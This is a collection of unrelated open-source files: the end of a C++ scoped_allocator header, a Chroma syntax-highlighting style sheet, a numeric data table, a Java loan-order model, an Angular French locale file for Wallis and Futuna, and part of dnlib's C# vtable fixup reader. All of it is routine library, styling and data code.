std::forward_as_tuple(std::forward<_Vp>(__x.second)));
}
template<typename _Tp>
void destroy(_Tp* __p)
{
typedef __outermost_alloc_traits<scoped_allocator_adaptor> _O_traits;
_O_traits::destroy(__outermost(*this), __p);
}
scoped_allocator_adaptor
select_on_container_copy_construction() const
{
typedef typename _Build_index_tuple<sizeof...(_InnerAllocs)>::__type
_Indices;
return scoped_allocator_adaptor(_M_tie(), _Indices());
}
template <typename _OutA1, typename _OutA2, typename... _InA>
friend bool
operator==(const scoped_allocator_adaptor<_OutA1, _InA...>& __a,
const scoped_allocator_adaptor<_OutA2, _InA...>& __b) noexcept;
private:
template<typename _Tuple>
_Tuple&&
_M_construct_p(__uses_alloc0, _Tuple& __t)
{ return std::move(__t); }
template<typename... _Args>
std::tuple<allocator_arg_t, inner_allocator_type&, _Args...>
_M_construct_p(__uses_alloc1_, std::tuple<_Args...>& __t)
{
typedef std::tuple<allocator_arg_t, inner_allocator_type&> _Tuple;
return std::tuple_cat(_Tuple(allocator_arg, inner_allocator()),
std::move(__t));
}
template<typename... _Args>
std::tuple<_Args..., inner_allocator_type&>
_M_construct_p(__uses_alloc2_, std::tuple<_Args...>& __t)
{
typedef std::tuple<inner_allocator_type&> _Tuple;
return std::tuple_cat(std::move(__t), _Tuple(inner_allocator()));
}
};
template <typename _OutA1, typename _OutA2, typename... _InA>
inline bool
operator==(const scoped_allocator_adaptor<_OutA1, _InA...>& __a,
const scoped_allocator_adaptor<_OutA2, _InA...>& __b) noexcept
{
return __a.outer_allocator() == __b.outer_allocator()
&& __a._M_inner == __b._M_inner;
}
template <typename _OutA1, typename _OutA2, typename... _InA>
inline bool
operator!=(const scoped_allocator_adaptor<_OutA1, _InA...>& __a,
const scoped_allocator_adaptor<_OutA2, _InA...>& __b) noexcept
{ return !(__a == __b); }
/// @}
_GLIBCXX_END_NAMESPACE_VERSION
} // namespace
#endif // C++11
#endif // _SCOPED_ALLOCATOR
|
{
"pile_set_name": "Github"
}
|
// Generated with `hugo gen chromastyles --style=xcode`.
/* Background */ .chroma { background-color: #ffffff }
/* Error */ .chroma .err { color: #000000 }
/* LineTableTD */ .chroma .lntd { vertical-align: top; padding: 0; margin: 0; border: 0; }
/* LineTable */ .chroma .lntable { border-spacing: 0; padding: 0; margin: 0; border: 0; width: auto; overflow: auto; display: block; }
/* LineHighlight */ .chroma .hl { display: block; width: 100%;background-color: #ffffcc }
/* LineNumbersTable */ .chroma .lnt { margin-right: 0.4em; padding: 0 0.4em 0 0.4em;color: #7f7f7f }
/* LineNumbers */ .chroma .ln { margin-right: 0.4em; padding: 0 0.4em 0 0.4em;color: #7f7f7f }
/* Keyword */ .chroma .k { color: #a90d91 }
/* KeywordConstant */ .chroma .kc { color: #a90d91 }
/* KeywordDeclaration */ .chroma .kd { color: #a90d91 }
/* KeywordNamespace */ .chroma .kn { color: #a90d91 }
/* KeywordPseudo */ .chroma .kp { color: #a90d91 }
/* KeywordReserved */ .chroma .kr { color: #a90d91 }
/* KeywordType */ .chroma .kt { color: #a90d91 }
/* Name */ .chroma .n { color: #000000 }
/* NameAttribute */ .chroma .na { color: #836c28 }
/* NameBuiltin */ .chroma .nb { color: #a90d91 }
/* NameBuiltinPseudo */ .chroma .bp { color: #5b269a }
/* NameClass */ .chroma .nc { color: #3f6e75 }
/* NameConstant */ .chroma .no { color: #000000 }
/* NameDecorator */ .chroma .nd { color: #000000 }
/* NameEntity */ .chroma .ni { color: #000000 }
/* NameException */ .chroma .ne { color: #000000 }
/* NameFunction */ .chroma .nf { color: #000000 }
/* NameFunctionMagic */ .chroma .fm { color: #000000 }
/* NameLabel */ .chroma .nl { color: #000000 }
/* NameNamespace */ .chroma .nn { color: #000000 }
/* NameOther */ .chroma .nx { color: #000000 }
/* NameProperty */ .chroma .py { color: #000000 }
/* NameTag */ .chroma .nt { color: #000000 }
/* NameVariable */ .chroma .nv { color: #000000 }
/* NameVariableClass */ .chroma .vc { color: #000000 }
/* NameVariableGlobal */ .chroma .vg { color: #000000 }
/* NameVariableInstance */ .chroma .vi { color: #000000 }
/* NameVariableMagic */ .chroma .vm { color: #000000 }
/* Literal */ .chroma .l { color: #1c01ce }
/* LiteralDate */ .chroma .ld { color: #1c01ce }
/* LiteralString */ .chroma .s { color: #c41a16 }
/* LiteralStringAffix */ .chroma .sa { color: #c41a16 }
/* LiteralStringBacktick */ .chroma .sb { color: #c41a16 }
/* LiteralStringChar */ .chroma .sc { color: #2300ce }
/* LiteralStringDelimiter */ .chroma .dl { color: #c41a16 }
/* LiteralStringDoc */ .chroma .sd { color: #c41a16 }
/* LiteralStringDouble */ .chroma .s2 { color: #c41a16 }
/* LiteralStringEscape */ .chroma .se { color: #c41a16 }
/* LiteralStringHeredoc */ .chroma .sh { color: #c41a16 }
/* LiteralStringInterpol */ .chroma .si { color: #c41a16 }
/* LiteralStringOther */ .chroma .sx { color: #c41a16 }
/* LiteralStringRegex */ .chroma .sr { color: #c41a16 }
/* LiteralStringSingle */ .chroma .s1 { color: #c41a16 }
/* LiteralStringSymbol */ .chroma .ss { color: #c41a16 }
/* LiteralNumber */ .chroma .m { color: #1c01ce }
/* LiteralNumberBin */ .chroma .mb { color: #1c01ce }
/* LiteralNumberFloat */ .chroma .mf { color: #1c01ce }
/* LiteralNumberHex */ .chroma .mh { color: #1c01ce }
/* LiteralNumberInteger */ .chroma .mi { color: #1c01ce }
/* LiteralNumberIntegerLong */ .chroma .il { color: #1c01ce }
/* LiteralNumberOct */ .chroma .mo { color: #1c01ce }
/* Operator */ .chroma .o { color: #000000 }
/* OperatorWord */ .chroma .ow { color: #000000 }
/* Comment */ .chroma .c { color: #177500 }
/* CommentHashbang */ .chroma .ch { color: #177500 }
/* CommentMultiline */ .chroma .cm { color: #177500 }
/* CommentSingle */ .chroma .c1 { color: #177500 }
/* CommentSpecial */ .chroma .cs { color: #177500 }
/* CommentPreproc */ .chroma .cp { color: #633820 }
/* CommentPreprocFile */ .chroma .cpf { color: #633820 }
|
{
"pile_set_name": "Github"
}
|
1 1.96268e-05 0.000418047
2 1.22308e-05 0.000263289
3 9.52259e-06 0.000178863
4 8.14832e-06 0.000131887
5 7.35116e-06 0.000103017
6 6.85718e-06 9.285e-05
7 6.53695e-06 8.43279e-05
8 6.31857e-06 7.66244e-05
9 6.16441e-06 6.98478e-05
10 6.05269e-06 6.39429e-05
11 5.96898e-06 5.88063e-05
12 5.90285e-06 5.43292e-05
13 5.84917e-06 5.04125e-05
14 5.80537e-06 4.69703e-05
15 5.76864e-06 4.39306e-05
16 5.73748e-06 4.12329e-05
17 5.71037e-06 3.88273e-05
18 5.6864e-06 3.66719e-05
19 5.66528e-06 3.4732e-05
20 5.64623e-06 3.29784e-05
|
{
"pile_set_name": "Github"
}
|
package com.huobi.model.crossmargin;
import java.math.BigDecimal;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.ToString;
@Data
@Builder
@AllArgsConstructor
@NoArgsConstructor
@ToString
public class CrossMarginLoadOrder {
private Long id;
private Long userId;
private Long accountId;
private String currency;
private BigDecimal loanAmount;
private BigDecimal loanBalance;
private BigDecimal interestAmount;
private BigDecimal interestBalance;
private BigDecimal filledPoints;
private BigDecimal filledHt;
private String state;
private Long createdAt;
private Long accruedAt;
}
|
{
"pile_set_name": "Github"
}
|
/**
* @license
* Copyright Google Inc. All Rights Reserved.
*
* Use of this source code is governed by an MIT-style license that can be
* found in the LICENSE file at https://angular.io/license
*/
(function (factory) {
if (typeof module === "object" && typeof module.exports === "object") {
var v = factory(null, exports);
if (v !== undefined) module.exports = v;
}
else if (typeof define === "function" && define.amd) {
define("@angular/common/locales/fr-WF", ["require", "exports"], factory);
}
})(function (require, exports) {
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
// THIS CODE IS GENERATED - DO NOT MODIFY
// See angular/tools/gulp-tasks/cldr/extract.js
var u = undefined;
function plural(n) {
var i = Math.floor(Math.abs(n));
if (i === 0 || i === 1)
return 1;
return 5;
}
exports.default = [
'fr-WF', [['AM', 'PM'], u, u], u,
[
['D', 'L', 'M', 'M', 'J', 'V', 'S'], ['dim.', 'lun.', 'mar.', 'mer.', 'jeu.', 'ven.', 'sam.'],
['dimanche', 'lundi', 'mardi', 'mercredi', 'jeudi', 'vendredi', 'samedi'],
['di', 'lu', 'ma', 'me', 'je', 've', 'sa']
],
u,
[
['J', 'F', 'M', 'A', 'M', 'J', 'J', 'A', 'S', 'O', 'N', 'D'],
[
'janv.', 'févr.', 'mars', 'avr.', 'mai', 'juin', 'juil.', 'août', 'sept.', 'oct.', 'nov.',
'déc.'
],
[
'janvier', 'février', 'mars', 'avril', 'mai', 'juin', 'juillet', 'août', 'septembre',
'octobre', 'novembre', 'décembre'
]
],
u, [['av. J.-C.', 'ap. J.-C.'], u, ['avant Jésus-Christ', 'après Jésus-Christ']], 1, [6, 0],
['dd/MM/y', 'd MMM y', 'd MMMM y', 'EEEE d MMMM y'],
['HH:mm', 'HH:mm:ss', 'HH:mm:ss z', 'HH:mm:ss zzzz'], ['{1} {0}', '{1} \'à\' {0}', u, u],
[',', ' ', ';', '%', '+', '-', 'E', '×', '‰', '∞', 'NaN', ':'],
['#,##0.###', '#,##0 %', '#,##0.00 ¤', '#E0'], 'FCFP', 'franc CFP', {
'ARS': ['$AR', '$'],
'AUD': ['$AU', '$'],
'BEF': ['FB'],
'BMD': ['$BM', '$'],
'BND': ['$BN', '$'],
'BSD': ['$BS', '$'],
'BZD': ['$BZ', '$'],
'CAD': ['$CA', '$'],
'CLP': ['$CL', '$'],
'CNY': [u, '¥'],
'COP': ['$CO', '$'],
'CYP': ['£CY'],
'EGP': [u, '£E'],
'FJD': ['$FJ', '$'],
'FKP': ['£FK', '£'],
'FRF': ['F'],
'GBP': ['£GB', '£'],
'GIP': ['£GI', '£'],
'HKD': [u, '$'],
'IEP': ['£IE'],
'ILP': ['£IL'],
'ITL': ['₤IT'],
'JPY': [u, '¥'],
'KMF': [u, 'FC'],
'LBP': ['£LB', '£L'],
'MTP': ['£MT'],
'MXN': ['$MX', '$'],
'NAD': ['$NA', '$'],
'NIO': [u, '$C'],
'NZD': ['$NZ', '$'],
'RHD': ['$RH'],
'RON': [u, 'L'],
'RWF': [u, 'FR'],
'SBD': ['$SB', '$'],
'SGD': ['$SG', '$'],
'SRD': ['$SR', '$'],
'TTD': ['$TT', '$'],
'TWD': [u, 'NT$'],
'USD': ['$US', '$'],
'UYU': ['$UY', '$'],
'WST': ['WS$'],
'XCD': [u, '$'],
'XPF': ['FCFP'],
'ZMW': [u, 'Kw']
},
plural
];
});
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiZnItV0YuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyIuLi8uLi8uLi8uLi8uLi8uLi9wYWNrYWdlcy9jb21tb24vbG9jYWxlcy9mci1XRi50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFBQTs7Ozs7O0dBTUc7Ozs7Ozs7Ozs7OztJQUVILHlDQUF5QztJQUN6QywrQ0FBK0M7SUFFL0MsSUFBTSxDQUFDLEdBQUcsU0FBUyxDQUFDO0lBRXBCLGdCQUFnQixDQUFTO1FBQ3ZCLElBQUksQ0FBQyxHQUFHLElBQUksQ0FBQyxLQUFLLENBQUMsSUFBSSxDQUFDLEdBQUcsQ0FBQyxDQUFDLENBQUMsQ0FBQyxDQUFDO1FBQ2hDLElBQUksQ0FBQyxLQUFLLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQztZQUFFLE9BQU8sQ0FBQyxDQUFDO1FBQ2pDLE9BQU8sQ0FBQyxDQUFDO0lBQ1gsQ0FBQztJQUVELGtCQUFlO1FBQ2IsT0FBTyxFQUFFLENBQUMsQ0FBQyxJQUFJLEVBQUUsSUFBSSxDQUFDLEVBQUUsQ0FBQyxFQUFFLENBQUMsQ0FBQyxFQUFFLENBQUM7UUFDaEM7WUFDRSxDQUFDLEdBQUcsRUFBRSxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsRUFBRSxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsQ0FBQyxFQUFFLENBQUMsTUFBTSxFQUFFLE1BQU0sRUFBRSxNQUFNLEVBQUUsTUFBTSxFQUFFLE1BQU0sRUFBRSxNQUFNLEVBQUUsTUFBTSxDQUFDO1lBQzdGLENBQUMsVUFBVSxFQUFFLE9BQU8sRUFBRSxPQUFPLEVBQUUsVUFBVSxFQUFFLE9BQU8sRUFBRSxVQUFVLEVBQUUsUUFBUSxDQUFDO1lBQ3pFLENBQUMsSUFBSSxFQUFFLElBQUksRUFBRSxJQUFJLEVBQUUsSUFBSSxFQUFFLElBQUksRUFBRSxJQUFJLEVBQUUsSUFBSSxDQUFDO1NBQzNDO1FBQ0QsQ0FBQztRQUNEO1lBQ0UsQ0FBQyxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsRUFBRSxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsRUFBRSxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsRUFBRSxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsQ0FBQztZQUM1RDtnQkFDRSxPQUFPLEVBQUUsT0FBTyxFQUFFLE1BQU0sRUFBRSxNQUFNLEVBQUUsS0FBSyxFQUFFLE1BQU0sRUFBRSxPQUFPLEVBQUUsTUFBTSxFQUFFLE9BQU8sRUFBRSxNQUFNLEVBQUUsTUFBTTtnQkFDekYsTUFBTTthQUNQO1lBQ0Q7Z0JBQ0UsU0FBUyxFQUFFLFNBQVMsRUFBRSxNQUFNLEVBQUUsT0FBTyxFQUFFLEtBQUssRUFBRSxNQUFNLEVBQUUsU0FBUyxFQUFFLE1BQU0sRUFBRSxXQUFXO2dCQUNwRixTQUFTLEVBQUUsVUFBVSxFQUFFLFVBQVU7YUFDbEM7U0FDRjtRQUNELENBQUMsRUFBRSxDQUFDLENBQUMsV0FBVyxFQUFFLFdBQVcsQ0FBQyxFQUFFLENBQUMsRUFBRSxDQUFDLG9CQUFvQixFQUFFLG9CQUFvQixDQUFDLENBQUMsRUFBRSxDQUFDLEVBQUUsQ0FBQyxDQUFDLEVBQUUsQ0FBQyxDQUFDO1FBQzNGLENBQUMsU0FBUyxFQUFFLFNBQVMsRUFBRSxVQUFVLEVBQUUsZUFBZSxDQUFDO1FBQ25ELENBQUMsT0FBTyxFQUFFLFVBQVUsRUFBRSxZQUFZLEVBQUUsZUFBZSxDQUFDLEVBQUUsQ0FBQyxTQUFTLEVBQUUsZUFBZSxFQUFFLENBQUMsRUFBRSxDQUFDLENBQUM7UUFDeEYsQ0FBQyxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsRUFBRSxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsRUFBRSxHQUFHLEVBQUUsR0FBRyxFQUFFLEdBQUcsRUFBRSxHQUFHLEVBQUUsS0FBSyxFQUFFLEdBQUcsQ0FBQztRQUM5RCxDQUFDLFdBQVcsRUFBRSxTQUFTLEVBQUUsWUFBWSxFQUFFLEtBQUssQ0FBQyxFQUFFLE1BQU0sRUFBRSxXQUFXLEVBQUU7WUFDbEUsS0FBSyxFQUFFLENBQUMsS0FBSyxFQUFFLEdBQUcsQ0FBQztZQUNuQixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLElBQUksQ0FBQztZQUNiLEtBQUssRUFBRSxDQUFDLEtBQUssRUFBRSxHQUFHLENBQUM7WUFDbkIsS0FBSyxFQUFFLENBQUMsS0FBSyxFQUFFLEdBQUcsQ0FBQztZQUNuQixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLEtBQUssRUFBRSxHQUFHLENBQUM7WUFDbkIsS0FBSyxFQUFFLENBQUMsS0FBSyxFQUFFLEdBQUcsQ0FBQztZQUNuQixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLENBQUMsRUFBRSxHQUFHLENBQUM7WUFDZixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLEtBQUssQ0FBQztZQUNkLEtBQUssRUFBRSxDQUFDLENBQUMsRUFBRSxJQUFJLENBQUM7WUFDaEIsS0FBSyxFQUFFLENBQUMsS0FBSyxFQUFFLEdBQUcsQ0FBQztZQUNuQixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLEdBQUcsQ0FBQztZQUNaLEtBQUssRUFBRSxDQUFDLEtBQUssRUFBRSxHQUFHLENBQUM7WUFDbkIsS0FBSyxFQUFFLENBQUMsS0FBSyxFQUFFLEdBQUcsQ0FBQztZQUNuQixLQUFLLEVBQUUsQ0FBQyxDQUFDLEVBQUUsR0FBRyxDQUFDO1lBQ2YsS0FBSyxFQUFFLENBQUMsS0FBSyxDQUFDO1lBQ2QsS0FBSyxFQUFFLENBQUMsS0FBSyxDQUFDO1lBQ2QsS0FBSyxFQUFFLENBQUMsS0FBSyxDQUFDO1lBQ2QsS0FBSyxFQUFFLENBQUMsQ0FBQyxFQUFFLEdBQUcsQ0FBQztZQUNmLEtBQUssRUFBRSxDQUFDLENBQUMsRUFBRSxJQUFJLENBQUM7WUFDaEIsS0FBSyxFQUFFLENBQUMsS0FBSyxFQUFFLElBQUksQ0FBQztZQUNwQixLQUFLLEVBQUUsQ0FBQyxLQUFLLENBQUM7WUFDZCxLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLEtBQUssRUFBRSxHQUFHLENBQUM7WUFDbkIsS0FBSyxFQUFFLENBQUMsQ0FBQyxFQUFFLElBQUksQ0FBQztZQUNoQixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLEtBQUssQ0FBQztZQUNkLEtBQUssRUFBRSxDQUFDLENBQUMsRUFBRSxHQUFHLENBQUM7WUFDZixLQUFLLEVBQUUsQ0FBQyxDQUFDLEVBQUUsSUFBSSxDQUFDO1lBQ2hCLEtBQUssRUFBRSxDQUFDLEtBQUssRUFBRSxHQUFHLENBQUM7WUFDbkIsS0FBSyxFQUFFLENBQUMsS0FBSyxFQUFFLEdBQUcsQ0FBQztZQUNuQixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLEtBQUssRUFBRSxHQUFHLENBQUM7WUFDbkIsS0FBSyxFQUFFLENBQUMsQ0FBQyxFQUFFLEtBQUssQ0FBQztZQUNqQixLQUFLLEVBQUUsQ0FBQyxLQUFLLEVBQUUsR0FBRyxDQUFDO1lBQ25CLEtBQUssRUFBRSxDQUFDLEtBQUssRUFBRSxHQUFHLENBQUM7WUFDbkIsS0FBSyxFQUFFLENBQUMsS0FBSyxDQUFDO1lBQ2QsS0FBSyxFQUFFLENBQUMsQ0FBQyxFQUFFLEdBQUcsQ0FBQztZQUNmLEtBQUssRUFBRSxDQUFDLE1BQU0sQ0FBQztZQUNmLEtBQUssRUFBRSxDQUFDLENBQUMsRUFBRSxJQUFJLENBQUM7U0FDakI7UUFDRCxNQUFNO0tBQ1AsQ0FBQyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogQGxpY2Vuc2VcbiAqIENvcHlyaWdodCBHb29nbGUgSW5jLiBBbGwgUmlnaHRzIFJlc2VydmVkLlxuICpcbiAqIFVzZSBvZiB0aGlzIHNvdXJjZSBjb2RlIGlzIGdvdmVybmVkIGJ5IGFuIE1JVC1zdHlsZSBsaWNlbnNlIHRoYXQgY2FuIGJlXG4gKiBmb3VuZCBpbiB0aGUgTElDRU5TRSBmaWxlIGF0IGh0dHBzOi8vYW5ndWxhci5pby9saWNlbnNlXG4gKi9cblxuLy8gVEhJUyBDT0RFIElTIEdFTkVSQVRFRCAtIERPIE5PVCBNT0RJRllcbi8vIFNlZSBhbmd1bGFyL3Rvb2xzL2d1bHAtdGFza3MvY2xkci9leHRyYWN0LmpzXG5cbmNvbnN0IHUgPSB1bmRlZmluZWQ7XG5cbmZ1bmN0aW9uIHBsdXJhbChuOiBudW1iZXIpOiBudW1iZXIge1xuICBsZXQgaSA9IE1hdGguZmxvb3IoTWF0aC5hYnMobikpO1xuICBpZiAoaSA9PT0gMCB8fCBpID09PSAxKSByZXR1cm4gMTtcbiAgcmV0dXJuIDU7XG59XG5cbmV4cG9ydCBkZWZhdWx0IFtcbiAgJ2ZyLVdGJywgW1snQU0nLCAnUE0nXSwgdSwgdV0sIHUsXG4gIFtcbiAgICBbJ0QnLCAnTCcsICdNJywgJ00nLCAnSicsICdWJywgJ1MnXSwgWydkaW0uJywgJ2x1bi4nLCAnbWFyLicsICdtZXIuJywgJ2pldS4nLCAndmVuLicsICdzYW0uJ10sXG4gICAgWydkaW1hbmNoZScsICdsdW5kaScsICdtYXJkaScsICdtZXJjcmVkaScsICdqZXVkaScsICd2ZW5kcmVkaScsICdzYW1lZGknXSxcbiAgICBbJ2RpJywgJ2x1JywgJ21hJywgJ21lJywgJ2plJywgJ3ZlJywgJ3NhJ11cbiAgXSxcbiAgdSxcbiAgW1xuICAgIFsnSicsICdGJywgJ00nLCAnQScsICdNJywgJ0onLCAnSicsICdBJywgJ1MnLCAnTycsICdOJywgJ0QnXSxcbiAgICBbXG4gICAgICAnamFudi4nLCAnZsOpdnIuJywgJ21hcnMnLCAnYXZyLicsICdtYWknLCAnanVpbicsICdqdWlsLicsICdhb8O7dCcsICdzZXB0LicsICdvY3QuJywgJ25vdi4nLFxuICAgICAgJ2TDqWMuJ1xuICAgIF0sXG4gICAgW1xuICAgICAgJ2phbnZpZXInLCAnZsOpdnJpZXInLCAnbWFycycsICdhdnJpbCcsICdtYWknLCAnanVpbicsICdqdWlsbGV0JywgJ2Fvw7t0JywgJ3NlcHRlbWJyZScsXG4gICAgICAnb2N0b2JyZScsICdub3ZlbWJyZScsICdkw6ljZW1icmUnXG4gICAgXVxuICBdLFxuICB1LCBbWydhdi4gSi4tQy4nLCAnYXAuIEouLUMuJ10sIHUsIFsnYXZhbnQgSsOpc3VzLUNocmlzdCcsICdhcHLDqHMgSsOpc3VzLUNocmlzdCddXSwgMSwgWzYsIDBdLFxuICBbJ2RkL01NL3knLCAnZCBNTU0geScsICdkIE1NTU0geScsICdFRUVFIGQgTU1NTSB5J10sXG4gIFsnSEg6bW0nLCAnSEg6bW06c3MnLCAnSEg6bW06c3MgeicsICdISDptbTpzcyB6enp6J10sIFsnezF9IHswfScsICd7MX0gXFwnw6BcXCcgezB9JywgdSwgdV0sXG4gIFsnLCcsICfCoCcsICc7JywgJyUnLCAnKycsICctJywgJ0UnLCAnw5cnLCAn4oCwJywgJ+KInicsICdOYU4nLCAnOiddLFxuICBbJyMsIyMwLiMjIycsICcjLCMjMMKgJScsICcjLCMjMC4wMMKgwqQnLCAnI0UwJ10sICdGQ0ZQJywgJ2ZyYW5jIENGUCcsIHtcbiAgICAnQVJTJzogWyckQVInLCAnJCddLFxuICAgICdBVUQnOiBbJyRBVScsICckJ10sXG4gICAgJ0JFRic6IFsnRkInXSxcbiAgICAnQk1EJzogWyckQk0nLCAnJCddLFxuICAgICdCTkQnOiBbJyRCTicsICckJ10sXG4gICAgJ0JTRCc6IFsnJEJTJywgJyQnXSxcbiAgICAnQlpEJzogWyckQlonLCAnJCddLFxuICAgICdDQUQnOiBbJyRDQScsICckJ10sXG4gICAgJ0NMUCc6IFsnJENMJywgJyQnXSxcbiAgICAnQ05ZJzogW3UsICfCpSddLFxuICAgICdDT1AnOiBbJyRDTycsICckJ10sXG4gICAgJ0NZUCc6IFsnwqNDWSddLFxuICAgICdFR1AnOiBbdSwgJ8KjRSddLFxuICAgICdGSkQnOiBbJyRGSicsICckJ10sXG4gICAgJ0ZLUCc6IFsnwqNGSycsICfCoyddLFxuICAgICdGUkYnOiBbJ0YnXSxcbiAgICAnR0JQJzogWyfCo0dCJywgJ8KjJ10sXG4gICAgJ0dJUCc6IFsnwqNHSScsICfCoyddLFxuICAgICdIS0QnOiBbdSwgJyQnXSxcbiAgICAnSUVQJzogWyfCo0lFJ10sXG4gICAgJ0lMUCc6IFsnwqNJTCddLFxuICAgICdJVEwnOiBbJ+KCpElUJ10sXG4gICAgJ0pQWSc6IFt1LCAnwqUnXSxcbiAgICAnS01GJzogW3UsICdGQyddLFxuICAgICdMQlAnOiBbJ8KjTEInLCAnwqNMJ10sXG4gICAgJ01UUCc6IFsnwqNNVCddLFxuICAgICdNWE4nOiBbJyRNWCcsICckJ10sXG4gICAgJ05BRCc6IFsnJE5BJywgJyQnXSxcbiAgICAnTklPJzogW3UsICckQyddLFxuICAgICdOWkQnOiBbJyROWicsICckJ10sXG4gICAgJ1JIRCc6IFsnJFJIJ10sXG4gICAgJ1JPTic6IFt1LCAnTCddLFxuICAgICdSV0YnOiBbdSwgJ0ZSJ10sXG4gICAgJ1NCRCc6IFsnJFNCJywgJyQnXSxcbiAgICAnU0dEJzogWyckU0cnLCAnJCddLFxuICAgICdTUkQnOiBbJyRTUicsICckJ10sXG4gICAgJ1RURCc6IFsnJFRUJywgJyQnXSxcbiAgICAnVFdEJzogW3UsICdOVCQnXSxcbiAgICAnVVNEJzogWyckVVMnLCAnJCddLFxuICAgICdVWVUnOiBbJyRVWScsICckJ10sXG4gICAgJ1dTVCc6IFsnV1MkJ10sXG4gICAgJ1hDRCc6IFt1LCAnJCddLFxuICAgICdYUEYnOiBbJ0ZDRlAnXSxcbiAgICAnWk1XJzogW3UsICdLdyddXG4gIH0sXG4gIHBsdXJhbFxuXTtcbiJdfQ==
|
{
"pile_set_name": "Github"
}
|
// dnlib: See LICENSE.txt for more info
using System;
using System.Collections.Generic;
using System.Diagnostics;
using dnlib.PE;
namespace dnlib.DotNet {
/// <summary>
/// All native vtables
/// </summary>
[DebuggerDisplay("RVA = {RVA}, Count = {VTables.Count}")]
public sealed class VTableFixups : IEnumerable<VTable> {
RVA rva;
IList<VTable> vtables;
/// <summary>
/// Gets/sets the RVA of the vtable fixups
/// </summary>
public RVA RVA {
get => rva;
set => rva = value;
}
/// <summary>
/// Gets all <see cref="VTable"/>s
/// </summary>
public IList<VTable> VTables => vtables;
/// <summary>
/// Default constructor
/// </summary>
public VTableFixups() => vtables = new List<VTable>();
/// <summary>
/// Constructor
/// </summary>
/// <param name="module">Module</param>
public VTableFixups(ModuleDefMD module) => Initialize(module);
void Initialize(ModuleDefMD module) {
var info = module.Metadata.ImageCor20Header.VTableFixups;
if (info.VirtualAddress == 0 || info.Size == 0) {
vtables = new List<VTable>();
return;
}
rva = info.VirtualAddress;
vtables = new List<VTable>((int)info.Size / 8);
var peImage = module.Metadata.PEImage;
var reader = peImage.CreateReader();
reader.Position = (uint)peImage.ToFileOffset(info.VirtualAddress);
ulong endPos = (ulong)reader.Position + info.Size;
while ((ulong)reader.Position + 8 <= endPos && reader.CanRead(8U)) {
var tableRva = (RVA)reader.ReadUInt32();
int numSlots = reader.ReadUInt16();
var flags = (VTableFlags)reader.ReadUInt16();
var vtable = new VTable(tableRva, flags, numSlots);
vtables.Add(vtable);
var pos = reader.Position;
reader.Position = (uint)peImage.ToFileOffset(tableRva);
uint slotSize = vtable.Is64Bit ? 8U : 4;
while (numSlots-- > 0 && reader.CanRead(slotSize)) {
vtable.Methods.Add(module.ResolveToken(reader.ReadUInt32()) as IMethod);
if (slotSize == 8)
reader.ReadUInt32();
}
reader.Position = pos;
}
}
/// <inheritdoc/>
public IEnumerator<VTable> GetEnumerator() => vtables.GetEnumerator();
/// <inheritdoc/>
System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();
}
/// <summary>
/// See COR_VTABLE_XXX in CorHdr.h
/// </summary>
[Flags]
public enum VTableFlags : ushort {
/// <summary>
/// 32-bit vtable slots
/// </summary>
Bit32 = 0x01,
/// <summary>
/// 64-bit vtable slots
/// </summary>
Bit64 = 0x02,
/// <summary>
/// Transition from unmanaged code
/// </summary>
FromUnmanaged = 0x04,
/// <summary>
/// Also retain app domain
/// </summary>
FromUnmanagedRetainAppDomain = 0x08,
/// <summary>
/// Call most derived method
/// </summary>
CallMostDerived = 0x10,
}
/// <summary>
/// One VTable accessed by native code
/// </summary>
public sealed class VTable : IEnumerable<IMethod> {
RVA rva;
VTableFlags flags;
readonly IList<IMethod> methods;
/// <summary>
/// Gets/sets the <see cref="RVA"/> of this vtable
/// </summary>
public RVA RVA {
get => rva;
set => rva = value;
}
/// <summary>
/// Gets/sets the flags
/// </summary>
public VTableFlags Flags {
get => flags;
set => flags = value;
}
/// <summary>
/// <c>true</c> if each vtable slot is 32 bits in size
/// </summary>
public bool Is32Bit => (flags & VTableFlags.Bit32) != 0;
/// <summary>
/// <c>true</c> if each vtable slot is 64 bits in size
/// </summary>
public bool Is64Bit => (flags & VTableFlags.Bit64) != 0;
/// <summary>
/// Gets the vtable methods
/// </summary>
public IList<IMethod> Methods => methods;
/// <summary>
/// Default constructor
/// </summary>
public VTable() => methods = new List<IMethod>();
/// <summary>
/// Constructor
/// </summary>
/// <param name="flags">Flags</param>
public VTable(VTableFlags flags) {
this.flags = flags;
methods = new List<IMethod>();
}
/// <summary>
/// Constructor
/// </summary>
